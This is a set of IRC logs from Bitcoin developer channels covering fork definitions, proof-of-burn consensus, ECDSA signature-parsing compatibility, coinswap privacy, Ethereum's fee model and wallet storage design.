00:02 < amiller> it's only a soft fork change to have consensus-by-burn isn't it?
00:02 < petertodd> No, it's very much a hard-fork change.
00:02 < amiller> why
00:03 < petertodd> Because it means sometimes a block with less real work is the winner.
00:03 < amiller> just make a transaction that burns the coin and has an encoded message containing the block you like
00:03 < amiller> only for a short time though
00:03 < petertodd> Doesn't matter, that's a hard-fork change.
00:04 < petertodd> Heck, what's ugly is how hard it is to implement this in a low-bandwidth SPV compatible way - you'd need some fancy NI proof thing, and they're all bulky.
00:05 < gmaxwell> forget bulky
one of the deep advantages of bitcoin is that assuming a very small amount of blackboxing (hash functions and ecdsa) joe-coder can basically understand the whole thing, or really believe he can understand it.
00:05 < amiller> i don't see how it couldn't be a soft fork
00:05 < gmaxwell> add too much wizardy and it becomes incomprensible. Considering the insecurity of namecoin thats a serious liability.
00:05 < amiller> it falls under a particular kind of bribe-the-miners appraoch
00:05 < amiller> it's just instad of appealing to their own bonus, you're just saying that it's a good altruistic thing to have this property built in
00:06 < petertodd> gmaxwell: Yeah, though I will point out that if I understand this we probably have a hope of making a description that's joe-coder understandable. :P
00:06 < petertodd> gmaxwell: NI proofs are possible to explain without that much math
00:07 < gmaxwell> some of them are.
00:07 < petertodd> amiller: you could have a situation where a block has no work done at all to mine it, and it's valid only because of the burns
00:07 < amiller> uh, hm, i see
00:07 < petertodd> gmaxwell: yes, and all the ones I'm envisioning for this stuff are in that class, because I failed calculus
00:08 < petertodd> amiller: or in a different system, it is valid, but is on a chain that's way shorter than the attackers chain
00:08 < petertodd> amiller: yet the attacker's chain is still defined as not the winner
00:08 < amiller> okay i agree with the first part
00:08 < gmaxwell> I have been explaining everything I learn in this space to my girlfriend, so I have a pretty good idea of the effort to explain things. I can explain it but the explinations take hours before they cross the point of being useful. So ability to explain isn't enough, the explaination has to be shorter than their attention span.
00:09 < amiller> i wonder if you shouldn't consider a new rule like "choose the block that has desirable transactions in it" rather than "choose the longest block" a soft fork change
00:09 < amiller> you'd have to convince everyone to go on it or you'd have a split among people who did and people who didnt
00:09 < petertodd> gmaxwell: yeah, don't get me wrong: all these advanced distributed consensus ideas are less joe-coder friendly than Bitcoin v1.0, but we're pretty far from the point where it's impossible to explain
00:09 < amiller> i guess that's the main quality you want to express by hard fork
00:10 < gmaxwell> splits are pessimal though.. and you could be malicious easily e.g. make two forks one randomly pays 1e-8 btc to half the users, one randomly pays 1e-8 to the other half.
00:10 < petertodd> amiller: basically remember that anything in the block headers is guaranteed to be changable only by a hard fork - we're changing the very core of the consensus algorithm here
00:11 < amiller> suppose you made it so that a block was technically valid even if it had self-decided difficulty
00:11 < amiller> that's a DoS problem primarily
00:11 < petertodd> gmaxwell: for sure - tie-breaking in many cases is pretty damn ugly
00:11 < amiller> but you could make that hard fork change, and by soft-fork rules still maintain everyhting as normal
00:12 < amiller> in otherwords you would use softfork policy to enforce the same difficulty policy we have now, so no tiny valueluess bloat blocks
00:12 < petertodd> gmaxwell: mainly I'm proposing this stuff because it gives a democratic-ish and automatic way for the community to directly fight an attacker; the fact it works well in more specific scenarios is just luck
00:12 < amiller> once you applied that hard fork change, then it would only be a soft-ish fork to change it to preferring proof-of-burn rather than proof-of-work at some exchange rate
00:12 < petertodd> amiller: no, that'd be a hard-fork too
00:13 < amiller> it's neither a soft fork nor a hard fork
00:14 < petertodd> amiller: if you have a situation where an older client can't come to consensus with the majority of hashing power, it's a hard-fork
00:14 < amiller> but you're changing the definition of hash power
00:14 < amiller> technically the older client will continue to come to consensus with the majority of hash power
00:14 < petertodd> amiller: yes, hence we've got a hard fork!
00:15 < petertodd> amiller: I mean, I'd call changing the pow algorithm from SHA256^2 to scrypt to be a hard-fork
00:15 < amiller> what about adding a bit to the difficulty expression
00:15 < amiller> so that the work is twice as hard at the same difficulty level
00:15 < amiller> normal miners would get it right half the time
00:15 < petertodd> amiller: again, hard fork
00:15 < amiller> eventually the hash power would take over though
00:15 < amiller> not a hard for
00:16 < amiller> that's unambiguously a soft fork
00:16 < petertodd> amiller: yes, but now a less than majority of hashing power can lead the older clients astray
00:16 < amiller> no it can't
00:16 < petertodd> amiller: yes it can, specifically a 25% attacker
00:17 < amiller> i think you've just misunderstood my example or i made some error in describing it
00:17 < petertodd> you made it twice as hard, therefore someone with half as much strength can create what looks like a valid chain, hence a 25% attacker
00:17 < amiller> no i self impose a rule that's twice as hard
00:18 < petertodd> yes, which means the majority of hashing power is now doing twice as much work, but the older clients don't know that, and they then think a 25% majority is a 50% majority
00:18 < amiller> oh
00:19 < amiller> uh... yeah, sorry
00:19 < petertodd> hehe, that'll make for a good problem in my upcoming textbook on decentralized consensus systems :P
00:20 < amiller> that's somewhere in between a hard fork and a soft fork then lol
00:20 < amiller> because it gives a slight advantage but not a complete one to the smaller attacker :o
00:21 < amiller> you still want everyone to change their client but they might not
00:21 < petertodd> yes! you can have changes that are hard-forks to fully validating nodes, and soft-forks for SPV nodes
00:21 < petertodd> in my textbook I'll have to define a hard-fork very clearly!
00:21 < amiller> are you really writing a textbook
00:22 < petertodd> lol, but I'm starting to seriously think about it...
00:25 < amiller> ok so having coin burning as an option would be a hard fork, (even if it were syntactically already permitted somehow) because it would require changing the consensus definition of clients
00:25 < petertodd> yup
00:26 < amiller> so back to the difference between burned-work and burned-coins
00:29 < amiller> profitdriven miners pick the chains to work on that give them the most profit
00:29 < amiller> clients pick chains according to their code?
00:29 < amiller> is there any notion where a client picks the chain based on some incentive?
00:29 < amiller> i suppose the client picks the chain that's most likely to be sustained by other miners
00:30 < amiller> but it has to choose which miners it cares about!
00:30 < gmaxwell> amiller: the most important thing in a consensus system is to come to a consensus... :) of secondary importance is to come to a consensus which doesn't screw you over.
00:30 < amiller> the client probably picks the chain that's most likely to be sustained by the miners that make the kind of blocks other clients you interact with choose
00:30 < amiller> yeesh it's still circular
02:45 < jgarzik> I hope I'm not being overbearing: https://bugzilla.redhat.com/show_bug.cgi?id=1020292
02:46 * jgarzik generally feels that most people, including smart hackers, Just Don't Get It when it comes to distributed consensus, forks, and bitcoin security.
02:46 * jgarzik should have written that blog post, when the Debian thing surfaced
03:01 < warren> jgarzik: sigh, I was hoping they would understand
03:02 < warren> jgarzik: perhaps it's time to discuss the underlying policy purpose of the no library duplication rule
03:15 < warren> jgarzik: hmm, I like the way you described it. I think Peter Lemenkov is not among the more experienced people there. let's see how spot responds...
04:33 < petertodd> jgarzik: "This sounds very strange to me. If it's true, and Bitcoin is so fragile due to changes in underlying libraries, then it looks like a potential attack vector." <- might be worth it to go ahead and say that yes this is a problem, but right now the state-of-the-art does not know how to remove this risk
04:34 < petertodd> jgarzik: helps give the guy the impression that you're listening to him, while making it clear why his first impression is an incomplete understanding
14:06 < HM> the EC stuff sounds like it'll dominate
15:56 <@sipa> swap OpenSSL for GMP: down to 136us
15:56 <@sipa> (though haven't validated whether the results are correct)
16:36 < HM> nice
16:39 < HM> sipa: did you optimise exponentiation yet?
16:40 <@sipa> sure
16:43 <@sipa> there are not many optimizations left that i know about
16:48 < HM> Still, a four fold performance increase over current bitcoind?
16:49 <@sipa> something like that
16:49 < HM> that's sweet
16:59 <@sipa> the worst part: creating bug-for-bug identical signature decoder
17:06 < HM> well you can be lazy and leave out the bugs
17:06 < HM> I'll forgive you
17:07 <@gmaxwell> No, we won't. Not matching the bugs would be a bug.
17:07 <@sipa> not matching the bugs means a potentially forking client
17:08 <@sipa> though i'm well aware of which violations of DER-encoding for signatures appear on the network, and matching those isn't hard, i can't know what else OpenSSL might accept
17:08 <@sipa> trivial solution: use OpenSSL to do the signature decoding :)
17:27 < nanotube> what if openssl decides to fix the bugs at some point?
17:27 <@gmaxwell> nanotube: bitcoin is over.
17:27 <@gmaxwell> :P
17:28 < nanotube> heh
17:28 <@gmaxwell> this is one of the reason that having external libraries define our normative blockchain behavior is surprisingly risky. Most other software doesn't have the suicide pact for bug preservation we do. :P
17:29 < nanotube> indeed
17:29 <@gmaxwell> In my eyes the whole of the blockchain code would be some hermetically sealed single set of C files which don't even call any libc functions, beyond those needed to allocate memory and use the disk. :P
17:30 <@sipa> nanotube: it's not bugs as such: they accept ill-formatted signatures; in many settings, that is wanted behaviour
17:30 <@sipa> the problem is that it implicitly defines a hard network rule for us
17:30 < HM> gmaxwell: *C++ files :P
17:30 <@gmaxwell> The old and now increasingly depricated internet "be forgiving in what you accept"
17:31 <@gmaxwell> HM: If C++, it would really properly be a subset. it shouldn't use STL containers. Their _exact_ visible behavior is not defined.
17:31 <@gmaxwell> (or at least it would have to be very careful in how they were used)
17:32 <@gmaxwell> Basically it can't use implementation defined behavior. In C I know how to do this, I'm sure it's possible in C++ but I don't personally know how.
17:32 < HM> the STL containers let you use custom allocators
17:33 < HM> i'm not sure what in particular you're worried about
17:34 <@sipa> gmaxwell: you could copy the STL headers into the project if you're really worried :)
17:34 <@sipa> they're not system dependent
17:34 <@gmaxwell> sipa: good luck getting them to compile with any random compiler! :P
17:35 <@sipa> gmaxwell: obviously you copy g++'s source code into the project as well :p
17:35 <@sipa> and the linux source code
17:35 <@sipa> and the design docs of your CPU.... oh wait
17:35 < HM> SeaBIOS for open bios
17:35 < HM> then run the whole thing in a virtual machine
17:35 <@gmaxwell> But yea, there you go
limitations on my C++ clue. I'm sure there are ways to avoid implementation defined behavior (avoiding implementation bugs perhaps tricker
in C the compilers are now tested against random ASTs for agreement among implementations, including implementations like CompCert)
17:36 <@gmaxwell> sipa: if the compiler isn't buggy then your exposure is just malloc and disk io not working.
17:36 < HM> malloc isn't reliable
17:36 <@gmaxwell> But there is a _big_ difference between bug and implementation defined behavior.
17:36 < HM> Linux will happily allocate more memory than you have
17:36 <@gmaxwell> HM: sure it is. It is always successful. And if it fails you reboot. :P Have you not done embedded system design?
17:37 < HM> oh right, that's how it's done
17:39 < HM> this is boned
17:39 < HM> i'm running 50 copies of a client binary to test a servers fairness
17:39 <@sipa> hmm, how hard would it be to make bitcoin depend on GMP?
17:39 < HM> the clients are quitting after 1 minute
17:39 <@sipa> it's LGPL
17:41 < HM> LGPL is fine?
17:41 <@sipa> first check why they get such good performance, maybe a similar algorithm can be implemented directly
17:41 < HM> one instance takes 7 seconds, 100,000 iterations
17:41 <@sipa> but 160us -> 130us is pretty significant...
17:41 < HM> 50 instances seem to finish in 1 minute...
17:42 < nanotube> <gmaxwell> The old and now increasingly depricated internet "be forgiving in what you accept" <- yea, that always struck me as introducing some perverse incentives. :)
18:05 <@gmaxwell> nanotube: it's widely considered to be a bad idea now in many circles, esp anywhere in remote proximity to HTML.
18:06 <@gmaxwell> in IETF meetings people will say something like that and then get called out "no, we used to think that. And now we know were were stupid."
18:06 <@gmaxwell> inexactness means you need a faithful emulation of every set of possible bug permutations, rather than just exact emulation of the bugs in the standard. :P
18:09 <@gmaxwell> 14:32 < HM> the STL containers let you use custom allocators
18:10 <@gmaxwell> Because they have exposed non-normative (implementation defined) behavior.
18:11 <@gmaxwell> conformant software could be written which can detect which STL implementation it uses. Which means if they are used care must be taken to make sure none of that behavior leaks into the externally visible behavior of the system.
18:21 < HM> why is this a problem for a blockchain server
18:21 < HM> i'd rather have a system faulty and fault tolerant than something coded for the space shuttle but written like it's the 70s
18:26 < HM> i agree generally on external libraries though
18:33 < midnightmagic> be fogiving in what you accept implies that imperfectly-specified standards (even SUSv3 has endless argument around it requiring clarification notes from Austin group) don't force everyone else to conform to your interpretations.
18:34 < midnightmagic> it's not particularly evil to allow something outside your state machine to come in, and discard it, it promotes interoperability.
18:34 < midnightmagic> HTML is something else.
18:35 < nanotube> <b>what you <i>say</b> about html?</i> :)
18:41 * nanotube suspects that the badly formed html just killed everybody's clients. or brains. >_>
18:44 * sipa reboots
18:45 < HM> be forgiving in what you accept
18:46 < HM> or whatever the correct quote is, merely means accepting the reality of imperfect implementations
18:47 < HM> imagine if a bitcoin implementation had a bug in it that was subtle and hard to discover
18:47 < HM> and 50% of the network began using that implementation
18:47 < HM> if you're overly strict and just exit when that bug is detected half your network vanishes
18:47 < HM> sometimes limping on, when it doesn't damage integrity, is just better
18:49 < nanotube> HM: missing a step there. before it gets to 50%, the first guy who uses it and realizes nobody is seeing his transactions, will report the bug if everyone is strict.
18:49 < nanotube> it'll only get to 50% if everyone is not strict
18:50 < nanotube> but i guess if bug only happens very rarely... it's possible.
18:51 < HM> *exit or disconnect
18:51 < nanotube> but then i don't know if it's actually better to accept some invalid transactions just because 50% of the network is using a buggy implementation that thinks it's valid.
18:53 < nanotube> probably best to respond with some error msg, rather than quietly disconnecting
18:55 < HM> it depends on the bug
18:55 < HM> i mean with bitcoin you could be talking about crippling and economy
18:55 < HM> bad software gets widely used, this is an unavoidable fact
18:56 < HM> users are slow to patch and upgrade
18:56 < HM> being liberal in what you accept just makes life easier
18:57 < HM> i don't know who came up with the original phrase, or what they were referring to, but i always take it to mean tests should focus on output as well as input
18:57 <@sipa> HM: that problem is one we'd have today if one implementation uses openssl and another uses something elae
18:57 <@sipa> and they are compatible for every use that exista in the chain
18:57 <@sipa> but there is one weird corner case, that nobody knows aboit, which openssl accepts and another implememtation doesn't
18:59 < HM> what is that?
21:11 * sipa just corrected a bug in an algorithm on wikipedia!
21:22 < HM> lol which one?
21:22 < HM> the sad thing is i probably learned it from it
21:23 <@sipa> http://en.wikipedia.org/wiki/Elliptic_curve_point_multiplication#wNAF_method
21:30 < HM> no Monty Ladder?
21:32 <@sipa> no need for a constant-time algorithm when verifying
21:33 < HM> true
22:10 <@sipa> 126us \o/
--- Log closed Mon Mar 11 00:00:49 2013
--- Log opened Mon Mar 11 00:00:49 2013
18:31 * sipa validates the main chain using his own ECDSA implementation
18:33 < HM> >)
18:33 < HM> are you profiling ?
18:34 < sipa> i'm using -benchmark to measure validation speed
18:35 < sipa> seems my CPU can do some 20k validations per second
18:35 < sipa> but it's only the beginnen of the chain, so not too much parallellism possible yet
18:35 < sipa> oh, validation failed
18:37 < sipa> ok, just a failed signature parsing
18:37 < HM> :}
18:37 < sipa> see, i warned you about bug-for-bug conformance!
18:39 < HM> i haven't even got around to bootstrapping Bitcoin Wallet on my phone yet
18:55 < sipa> anyway, apparently one more usage of non-canonical sigs that even exists in the chain that i wasn't aware of that it was allowed
18:57 < HM> how different can they be?
18:58 < sipa> the 'errors' i knew about: negative R or S values (they're just interpreted as unsigned), values with excessive 0 padding in front
18:59 < sipa> the one in block 135105 that i didn't know: an extra 0 byte at the end, without increasing the length descriptors
18:59 < sipa> so just a valid sig, with a 0 bytes appended to it
18:59 < HM> right, well ignoring length is definitely a bug
23:40 < gmaxwell> (the coinswap is simpler from a protocol perspective because you just prove this relation externally to me, then we can just make parallel hashlocked payments knowing that one will reveal the other without a public linkage.
--- Log closed Sat Jan 11 00:00:25 2014
--- Log opened Sat Jan 11 00:00:25 2014
01:00 < shesek> gmaxwell, oh, that's very interesting! hashlocked transactions always seemed like a great solution if we could get rid of the link it creates on the blockchain
01:01 < shesek> 40mb isn't ideal, but isn't too awful either given that its exchanged privately between two users and shouldn't be done too often
01:17 < shesek> the transactions would look somewhat unique if its used as the primary transaction method and not just as a fallback in case of cheating, though I don't know how much of a problem that is if its commonly used
01:56 < Guest85612> ethereum discussion on the front page of HN : https://news.ycombinator.com/item?id=7041628
02:06 < justanotheruser> maaku: do they have some prevention from people making infinite loops?
02:06 < justanotheruser> If I wanted to attack the currency I would just mine an infinite loop into the blockchain
02:13 < gmaxwell> shesek: oh well there is another way to eliminate the link, but the protocol has a number of steps, which in practice results in a lot of engineering trouble.
02:13 < gmaxwell> shesek: https://bitcointalk.org/index.php?topic=321228.0
02:14 < shesek> with coinswap and 4 transactions?
02:14 < gmaxwell> okay so you'd seen it then, yea. It would work but the state machine required to actually do it
while easy to chart is a real pita.
02:14 < shesek> yeah, I know, but this is a much more elegant solution
02:15 < shesek> though, as I mentioned above, being somewhat identifiable as transactions meant for that purpose is somewhat problematic until this is commonly used
02:16 < shesek> if there are only two transactions in a whole day that uses hashlocked transactions its quite easy to link them together
02:17 < shesek> maaku, too bad its down though
02:18 < shesek> someone from HN posted it to pastebin: http://pastebin.com/NCGRv74u
02:21 < shesek> oh, seems like it was published for some time now... I didn't hear of it until now
02:25 < gmaxwell> shesek: you need to review the coinswap page.
02:25 < gmaxwell> shesek: the innovation there is that if the transaction goes through successfully the public never sees the hashlock (!), it looks like a set of multisignature transactions.
02:26 < shesek> are you talking about coinswap or the new idea you had?
02:26 < gmaxwell> (2 of 2 at a minimum, but no reason that you couldn't throw in a garbage pubkey and make them 2 of 3s to be less irregular)
02:26 < gmaxwell> shesek: coinswap.
02:26 < gmaxwell> but that cost is that the protocol has a bunch of stages.
02:26 < shesek> that "they look unique which can link them" was referring to your idea posted here, not to coinswap
02:26 < gmaxwell> oh! okay yea.
02:27 < gmaxwell> Well you could perform the same transform to this, but then you lose the fact that its simpler. :P
02:27 < gmaxwell> in any case, lots of uses for hashlocked transactions. so perhaps they'll be common at some point.
02:30 < shesek> yeah, lots of interesting uses for them. I even have something for atomic exchange between altcoins (I think that was your idea originally?) laying around somewhere on my harddrive, though in a very very early stage
02:31 < shesek> its possible to spread out the transactions over a random period of a few days to weeks, which should help until they're more commonplace
02:31 < gmaxwell> yea, I'd proposed the non-private version of that pattern for exactly that purpose.
02:32 < shesek> (^ is regarding the transactions being unique)
02:34 < justanotheruser> gmaxwell: regarding our proof of stake discussion yesterday, how do I prevent a miner from paying tx fees to themself and using the new UTXO as their proof? Should I require them to use a time lock on their bitcoin payment with a tx fee?
02:51 < shesek> gmaxwell, btw, I'm not really familiar with the current solutions for keeping other participants from linking your input/output in coinjoin, but I was thinking about a tor-like onion encryption to pass messages around, where you would onion-encrypt it with N participants, exposing the input and output at different "peel levels"
02:51 < shesek> does something like that makes sense?
02:52 < shesek> I assume it was probably already solved in some more elegant way, I should probably read some more about how coinjoin should work
13:50 < gmaxwell> andytoshi: mostly I think a reduction in failed signings is worth it, and if the tool itself were misbehaving you're likely screwed.
13:52 < andytoshi> gmaxwell: agreed
13:52 < andytoshi> i wish i didn't need to demand a wallet passphrase in a program that is openly communicating with my server
13:52 < andytoshi> the optics are terrible
14:22 < jgarzik> Bitcoin blockchain torrent updated, 70% of previous bootstrap.dat is re-used. https://bitcointalk.org/index.php?topic=145386.0
14:46 < _ingsoc> Does anyone know if Vitalik Buterin hangs out on Freenode?
15:37 < wyager> So who's read the ethereum whitepaper?
15:38 < wyager> It's very interesting, but I think it might prove very difficult to manage
15:57 < maaku> wyager: incentives for computation is wrong
15:57 < wyager> How so? I'm not particularly enamored with the incentive model, but I thought it seemed OK
15:57 < maaku> there's no point in paying miners fees for computation, when the miners are not doing the compuation
15:58 < wyager> Aren't they?
15:58 < maaku> no
15:58 < maaku> validating nodes are
15:58 < maaku> most miners are not validating nodes
15:58 < justanotheruser1> everyones doing the computation, only the miners are getting paid right
15:58 < maaku> and worse, they are getting paid proportional to hash power
15:58 < maaku> which has nothing to do with the computation
15:58 < wyager> So when a program broadcasts a transaction, every single validating node broadcasts the transaction?
15:59 < justanotheruser1> maaku: why wouldn't the miners be validating nodes? If they had something invalid in their block it would get rejected right?
15:59 < maaku> *every single validating node computes the transaction
15:59 < maaku> justanotheruser: no, nearly all miners use pools
15:59 < wyager> What about when, during the course of a contract/program executing, it sends a transaction? Does that happen like a real person/bot sending a transaction?
15:59 < maaku> and a pool only needs to run a single validating node
16:00 < justanotheruser> maaku: oh, I see what you're sayinh
16:00 < maaku> e.g. GHash.io and BTC Guild each only need to run one validating node
16:00 < maaku> and yet they together get more that 50% of the reward
16:01 < maaku> and the thousands of people running validating nodes for non-mining purposes get nothing
16:01 < maaku> (but still have to run the computation)
16:01 < wyager> OK, but I guess that still makes some sense if the point is simply to prevent logic bombs rather than to compensate the people running the contracts
16:02 < justanotheruser> I wish there was a way to reward validating nodes. But I don't think there is without risky sybil
16:03 < maaku> the best approach is to make it truly cheap to run validating nodes
16:03 < maaku> and/or make it so they are not required
16:03 < justanotheruser> maaku: what do you mean "make it so they are not required"? Wouldn't them not validating make them not validating nodes?
16:05 < maaku> make it so that whatever application you needed a validating node for, you don't anymore
16:05 < maaku> e.g. because you have a succinct proof of validation (so you don't need to validate it yourself)
16:07 < justanotheruser> ok
17:15 < gmaxwell> so, actually implemented my ZKP, a proof of sha256 is 47mbytes.
17:16 < gmaxwell> (for ~123 bit security)
17:18 < gmaxwell> and validation requires about 1 million EC multiplies with the generator and about 4 million hash operations.
17:20 < sipa> that's a proof for "i have some input you don't know, which hashes to X" ?
17:24 < gmaxwell> Yes
basically its just the cost of running SHA256 under my NIZK proof system. So not just "I have" but any trivial operation along with it. Like "X is the hash of something that begins with 'sipa'" would have the same cost.
17:24 < gmaxwell> or for 2x that cost I can do my "Z is the xor of the preimage for hashes X and Y"
17:25 < gmaxwell> now I should go see if ripemd160 can be done with fewer gates.
17:33 < andytoshi> this is really exciting, thanks for doing this work gmaxwell
17:35 < petertodd> gmaxwell: +1
17:36 < sipa> indeed, very nice to see some things actually being done
17:36 < sipa> instead of the mostly talk here :p
17:40 < justanotheruser> gmaxwell: Is this related to SNARK?
17:44 < andytoshi> more of a NARK :P
--- Log closed Sun Jan 12 00:00:35 2014
--- Log opened Sun Jan 12 00:00:35 2014
14:48 < michagogo|cloud> Hmm, remember how I replayed the Bitcoin blockchain onto an altcoin from coingen that used Bitcoin's genesis block and parameters?
14:49 < michagogo|cloud> Looking at the log, I don't think the blocks made it to the other peers...
14:49 < sipa> yes
14:49 < sipa> oh?
14:49 < shesek> michagogo|cloud, how come?
14:49 < michagogo|cloud> I don't know
14:50 < shesek> perhaps there weren't any other peers? :P
14:50 < michagogo|cloud> But the version messages carry the normal block height
14:50 < shesek> were you connected to nodes?
14:50 < sipa> maybe you just OOM'ed the node you sent it to, when it tried to reorg?
14:50 < michagogo|cloud> Idk
14:50 < michagogo|cloud> Looking at the logs, I don't see a couple hundred thousand getdatas...
14:55 < michagogo|cloud> There are all the 2014-01-09 06:21:10 ThreadRPCServer method=submitblock
14:55 < michagogo|cloud> 2014-01-09 06:21:10 SetBestChain:
14:55 < michagogo|cloud> 2014-01-09 06:21:10 ProcessBlock: ACCEPTED
00:09 < petertodd> no, that can't be it: "0", "IF 0xba ELSE 1 ENDIF", "opcodes above NOP10 invalid if executed"
00:09 < petertodd> er, I mean: ["0", "IF 0xba ELSE 1 ENDIF", "opcodes above NOP10 invalid if executed"],
00:10 < gmaxwell> if your ass is handed to you, don't just fix one thing at a time, go back and carefully check whole areas.
00:10 < petertodd> I added tests for every single invalid opcode months ago back when I got provably unspendable standardized
00:10 < petertodd> yeah, good way to do it
00:10 < petertodd> but not what businesses want to hear...
00:10 < gmaxwell> petertodd: seems they didn't open an issue. maybe they went and found out that they'd since been added.
00:11 < gmaxwell> well, I'm unsure of what their business is.
00:11 < gmaxwell> My best guess is that they're being paid by some wealthy bitcoin entity as a hedge against ecosystem monoculture.
00:11 < gmaxwell> (but thats 90% speculation and 10% a result of discussion with them)
00:11 < maaku> gmaxwell: i talked to them for 45min over lunch at the conference, and walked away still not knowing what their business is
00:12 < petertodd> hmm... last change to the script unittests was when I documented some OP_RESERVED weirdness, aug 25th
00:12 < gmaxwell> maaku: okay you had an similar expirence to me then, I basically got the impression that I was being lied to because they didn't want to disclose it.
00:12 < maaku> but that's a better theory than anything i came up with
00:12 < gmaxwell> and from that I was speculating beyond there.
00:12 < petertodd> gmaxwell: ha, a hedge against monoculture by making something vulnerable, lovely
00:12 < phantomcircuit> gmaxwell, my guess is they're being paid by a wealthy bitcoin person who is a fool
00:12 < petertodd> gmaxwell: sounds like they're as misguided as amir is
00:13 < petertodd> gmaxwell: and gavin last I heard from him
00:13 < gmaxwell> petertodd: well, as I said, I think they're doing more effort to be compatible than most alt implementations.
00:13 < gmaxwell> not enough, obviously. And they've replaced real compatiblity with slavish duplication of bitcoind. (well, could be worse)
00:14 < petertodd> this type of stuff is why fraud proofs are going to be great fun :(
00:14 < gmaxwell> but I'm not quite able to tell how much they understand, they're too quick to agree with me.
00:15 < petertodd> tell them some pure BS and see if they challenge you on it :P
00:15 < Luke-Jr> who is "they"? O.o
00:15 < gmaxwell> well, I don't really gain anything from knowing that they're dangerous. Since they're dangerous anyways just becuase all alt implementations have some danger.
00:15 < gmaxwell> Luke-Jr: conformal
00:16 < gmaxwell> latest fun with them is that their pure go crypto is excruciatingly slow, even compared to openssl. "Don't worry, checkpoints!"
00:16 < petertodd> we need a market so we can short alt-implementations, maybe do a prediction market on it
00:16 < petertodd> god help us...
00:16 < gmaxwell> they're also doing some really insane stuff to work around their decision to use sqllite.
00:16 < petertodd> ha
00:17 < gmaxwell> E.g. they constantly rewrite indexes because inserts with the index are too slow.
00:17 < petertodd> sheesh
00:17 < gmaxwell> So they batch up a bunch of changes then drop the index and add them then recreate the index.
00:18 < Luke-Jr> lol
00:18 < petertodd> if the large-block crowd get their way it'll be fun watching implementations explode due to performance fuckups
00:18 < gmaxwell> I wouldn't be surprised if this implementation couldn't keep up with 1mb blocksize, in fact.
00:18 < phantomcircuit> gmaxwell, that's actually a very common thing to do with sqlite
00:18 < gmaxwell> It's slow enough that this is a concern.
00:18 < gmaxwell> phantomcircuit: I know but that doesn't make it a good idea!
00:19 < gmaxwell> right now it works because the utxo set only has a few million entries.
00:19 < phantomcircuit> sqlite indexes dont include the WAL portion until it's flushed
00:19 < maaku> sqlite? seriously? *shudder*
00:19 < phantomcircuit> yeah sqlite is not designed to be fast
00:19 < phantomcircuit> their stated goal is to replace flat files
00:19 < gmaxwell> one of their blog posts goes on extolling its virtues.
00:19 < phantomcircuit> for like config files
00:20 < Luke-Jr> ew
00:20 < Luke-Jr> who'd want a binary format for configs?
00:20 < Luke-Jr> even XML is better
00:20 < maaku> ugh
00:20 < phantomcircuit> Luke-Jr, well compared to the binary files that lots of stuff uses it's an upgrade
00:20 < gmaxwell> in any case, we need to get off our asses and fix a lot of stupid sharp corners with the reference software if we don't want things like this to be a problem for the ecosystem. ("oh no, you can't implement new feature X because implementation Y is slow as shit!")
00:20 < phantomcircuit> like firefox used to use a custom binary format for everything
00:20 < gmaxwell> (or worse, "because we depend on implementation Y and no one is maintaining it now.")
00:20 < phantomcircuit> which they replaced with sqlite3 files
00:21 < petertodd> gmaxwell: well IMO the right thing to do is just run your services behind trusted ref implementation nodes
00:21 < petertodd> gmaxwell: trust the ref implementation and do no verification at all
00:21 < phantomcircuit> gmaxwell, it would be very helpful for alt implementations if the rules were split up into network/soft/antiddos
00:22 < gmaxwell> so crap like bitcoind + wallet seperation, spv bootstrap, initial sync time, watching wallets, coin control, etc. all need to get fixed, because they're all really easy to fix in a crappy greenfield implementation.
00:22 < gmaxwell> we're fortunate that btcd copied as many of bitcoind's design flaws as it did. :P
00:23 < gmaxwell> (I mean, lucky in that if they'd made it moderately better in user facing ways but did so without commitment to network consistency, or performance, it might be bad for the network)
00:23 < maaku> sqlite actually would be better than bdb for the wallet...
00:23 < petertodd> gmaxwell: ok, so add SPV and partial UTXO modes to bitcoind, and leave it at that
00:23 < gmaxwell> maaku: yea, probably. BDB, for all its warts, actually got a lot of things right though.
00:23 < jgarzik> maaku, I'm suspicious of that claim
00:23 < petertodd> gmaxwell: make sure it continues to be useful for miners
00:23 < jgarzik> maaku, sqlite is SQL on top of a lower level BDB-like system
00:24 < jgarzik> what do you think sqlite indexes are?
00:24 < maaku> jgarzik: i mean better than locking wallets to a specific (outdated and large) bdb version
00:24 < jgarzik> Using SQL would move some intelligence out of the client and into the database layer
00:24 < maaku> and better debugging support
00:25 < phantomcircuit> sqlite3 isn't safe really
00:25 < maaku> (sqlite executable would replace pywallet)
00:25 < jgarzik> maaku, by locking to sqlite3 instead?
00:25 < jgarzik> six of one, half-dozen of the other
00:25 < phantomcircuit> maaku, i've had sqlite corrupt databases entirely on more than one occasion without any obvious reason
00:27 < petertodd> IMO the wallet should be designed such that the core of it can be a strictly append-only file
00:27 < jgarzik> petertodd, yes, that has been said many times on #bitcoin-dev
00:28 < petertodd> sure, have indexes for speed, but there should be some part of it that can literally be set to append-only in the fielsystem flags
00:28 < jgarzik> petertodd, even a rough sketch of append-only by sipa and myself was discussed
00:28 < petertodd> jgarzik: I know, that's why I'm bringing it up :P
00:29 < jgarzik> one problem is appending in block-aligned sizes
00:29 < petertodd> jgarzik: you mean re: partial writes at the device level?
00:30 < maaku> jgarzik: why does that matter, assuming you are checksumming appends?
00:34 < gmaxwell> because losing the last N appends kinda stinks. .. though with misdirected writes and eraseblock relocation screwups becoming common now with ssds... I dunno how important HDD durability models matter anymore.
00:35 * maaku smells a grad student project for someone with academic connections
00:35 < petertodd> maaku: you mean someone with industry connections to figure out what the !@#$ hardware is doing? :P
00:37 < maaku> heh
00:37 < maaku> i'm not sure industry would really know better
00:37 < maaku> not institutionally at least
00:37 < gmaxwell> my thought was if we're going to a determinstic wallet thing, we should just splat out 64 bits of the master public key with every @#$@# write to the file... so recovering any few kilobytes of it is enough to at least recover your @#$#@$ private keys.
00:38 < maaku> you'd have to find the engineer that actually debugs these bizaare failure modes
00:38 < gmaxwell> er s/master public/master private/
00:38 < gmaxwell> you assume they debug them. I assume they just replace the product. Time to market!
00:38 < maaku> gmaxwell: some customers get the special treatment
00:39 < petertodd> maaku: the nice thing is there are very few suppliers out there who actually do this stuff, so you'd only need a dozen contacts to cover it all
00:39 < maaku> i know someone who does basically the same thing for HP, debugging weird NonStop errors for clients like air traffic control and NASDAQ
00:40 < petertodd> maaku: half a dozen is probably good enough for 90% of the storage devices out there
00:40 < maaku> but most of the problems he solves are introduced by HP because HP engineers have no idea how the hardware failure modes really work...
